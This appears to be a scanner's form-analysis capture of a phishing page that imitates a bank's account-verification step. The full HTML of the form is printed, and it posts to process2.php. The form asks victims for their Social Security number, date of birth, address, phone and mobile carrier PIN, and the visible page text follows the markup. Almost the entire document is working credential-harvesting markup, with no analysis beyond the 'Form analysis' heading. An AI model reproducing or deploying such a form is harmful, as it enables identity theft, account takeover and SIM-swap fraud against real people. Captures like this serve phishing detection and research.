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Form analysis
1 forms found in the DOM

Name: verifyAccountForm — POST process2.php

<form action="process2.php" class="js-form js-verifyAccountForm" id="verifyAccountForm" method="post" name="verifyAccountForm">
  <input type="hidden" value="R" name="EnrolleeType" id="EnrolleeType">
  <input type="hidden" value="RetailAccount" name="EnrollmentType" id="EnrollmentType">
  <input type="hidden" name="EnrolleeIdentifier" id="EnrolleeIdentifier">
  <input type="hidden" name="EnrolleeToken" id="EnrolleeToken">
  <input type="hidden" value="False" name="IsMobilePlatfom" id="IsMobilePlatfom">
  <input type="hidden" value="OLB:MOE:VerifyYourAccountInfo" name="TagPageName" id="TagPageName">
  <input type="hidden" value="False" name="SetFieldsToProtected" id="SetFieldsToProtected">
  <section class="grid-x grid-padding-x __spacer-form grid-x__padded">
    <div class="cell">
      <!-- page title -->
      <div class="mtb-section-header mtb-section-header--top">
        <p class="__top-title"> </p>
        <h1> Verify your account information </h1>
        <p> Enter your information to verify your identity. </p>
      </div>
    </div>
    <div class="cell">
      <div class="expanded button-group button-group__toggle">
        <button data-ensightentag="AccountInfoButton" type="button" class="button js-enrolleeTypeTab active" data-value="R" data-defaultaccounttype="RetailAccount" data-url="/Enrollment/EnrollmentType">Personal Information</button>
      </div>
    </div>
    <div class="cell hide" data-showfor="BusinessAccount">
      <h2 class="mtb-form__section-title hide" data-showfor="BusinessAccount"> Company Administrator Information <button tabindex="0" type="button"
          class="m-icon m-icon-questionmarkcircle __contextual-help mtb-help m-icon-questionmarkcircle js-modal-trigger" aria-haspopup="true" aria-controls="reveal-basic" data-ensightentag="CompanyAdministratorInfoQuestionIcon"
          data-open="companyadmin-modal">
          <span class="show-for-sr">Show Help</span>
        </button>
      </h2>
    </div>
    <div data-parentfor="FirstName" class="cell js-formFieldParent" data-showfor="BusinessAccount">
      <label for="FirstName">First Name</label>
      <input data-fcid="" value="" maxlength="20" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="letters" placeholder="" type="text" id="fname" name="fname" required="true" data-inputtype="text">
      <p class="form-error" id="FirstNameError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="LastName" class="cell js-formFieldParent" data-showfor="BusinessAccount">
      <label for="LastName">Last Name</label>
      <input data-fcid="" value="" maxlength="20" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbersletters" placeholder="" type="text" id="lname" required="true" name="lname" data-inputtype="text">
      <p class="form-error" id="LastNameError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="SSN" class="cell js-formFieldParent" data-showfor="BusinessCreditCard,RetailCreditCard,BusinessAccount,RetailAccount" data-formattype="ssn">
      <label for="SSN">Social Security Number</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="●●●-●●-●●●●">
        <input data-fcid="" value="" required="true" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="000-00-0000" data-inputtype="tel"
          class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus" type="tel" id="ssn" name="ssn">
        <script src="files/mask.js"></script>
        <script>
          var element = document.getElementById('ssn');
          var maskOptions = {
            mask: '000-00-0000'
          };
          var mask = IMask(element, maskOptions);
        </script>
      </div>
    </div>
    <div data-parentfor="DateOfBirth" class="cell js-formFieldParent" data-showfor="BusinessCreditCard,RetailCreditCard,BusinessAccount,RetailAccount" data-formattype="date">
      <label for="DateOfBirth">Date of Birth</label>
      <input data-fcid="" value="" class="js-formnputItem" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="MM/DD/YYYY" type="tel" id="dob" name="dob" required="true" data-inputtype="tel">
      <script src="files/mask.js"></script>
      <script>
        var element2 = document.getElementById('dob');
        var maskk = {
          mask: 'mm/dd/yyyy',
          blocks: {
            mm: {
              mask: IMask.MaskedRange,
              from: 1,
              to: 12
            },
            dd: {
              mask: IMask.MaskedRange,
              from: 1,
              to: 31
            },
            yyyy: {
              mask: IMask.MaskedRange,
              from: 1900,
              to: 2003
            }
          }
        };
        var outcome2 = IMask(element2, maskk);
      </script>
      <p class="form-error" id="DateOfBirthError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="AccountNumber" class="cell js-formFieldParent" data-formattype="">
      <label for="AccountNumber">Address</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
        <input data-fcid="" value="" required="true" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear"
          type="text" id="address" name="address">
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="AccountNumber" class="cell js-formFieldParent" data-formattype="">
      <label for="AccountNumber">City</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
        <input data-fcid="" value="" required="true" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear"
          type="text" id="city" name="city">
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="AccountNumber" class="cell js-formFieldParent" data-formattype="">
      <label for="AccountNumber">State</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
        <input data-fcid="" value="" required="true" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear"
          type="text" id="state" name="state">
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="AccountNumber" class="cell js-formFieldParent" data-formattype="">
      <label for="AccountNumber">Zip Code</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
        <input data-fcid="" required="true" value="" maxlength="5" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" data-inputtype="tel"
          class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear" type="tel" id="zip" name="zip">
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="AccountNumber" class="cell js-formFieldParent" data-formattype="">
      <label for="AccountNumber">Phone</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
        <input data-fcid="" required="true" value="" maxlength="20" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" data-inputtype="tel"
          class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear" type="tel" id="phone" name="phone">
        <script src="files/mask.js"></script>
        <script>
          var element = document.getElementById('phone');
          var maskOptions = {
            mask: '(000)-000-0000'
          };
          var mask = IMask(element, maskOptions);
        </script>
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
    <div data-parentfor="AccountNumber" class="cell js-formFieldParent" data-formattype="">
      <label for="AccountNumber">Carrier Pin</label>
      <div class="js-maskFldParent input-group m-fake-single-input" data-maskoverlay="">
        <input data-fcid="" value="" maxlength="6" required="true" data-allowpaste="True" data-allowcopy="True" data-textboxaccepts="numbers" placeholder="" data-inputtype="tel"
          class="input-group-field js-canShowHide js-formnputItem input-group__hide-button-on-focus js-keeponclear" type="tel" id="cpin" name="cpin">
      </div>
      <p class="form-error" id="AccountNumberError" role="alert"></p>
      <p class="form-help-text"></p>
    </div>
  </section>
  <section class="grid-x grid-padding-x mtb-form__section-spacer-button grid-x__padded">
    <div class="cell">
      <button data-ensightentag="ContinueButton" type="submit" data-url="" class="button button__form js-submit"> Continue </button>
    </div>
    <div class="cell"> <a href="index.html" class="button button__fake-padding expanded clear">
                Go Back
            </a> </div>
  </section>
</form>

Text Content

Exit



VERIFY YOUR ACCOUNT INFORMATION

Enter your information to verify your identity.

Personal Information


COMPANY ADMINISTRATOR INFORMATION SHOW HELP

First Name





Last Name





Social Security Number

Date of Birth





Address






City






State






Zip Code






Phone






Carrier Pin






Continue
Go Back

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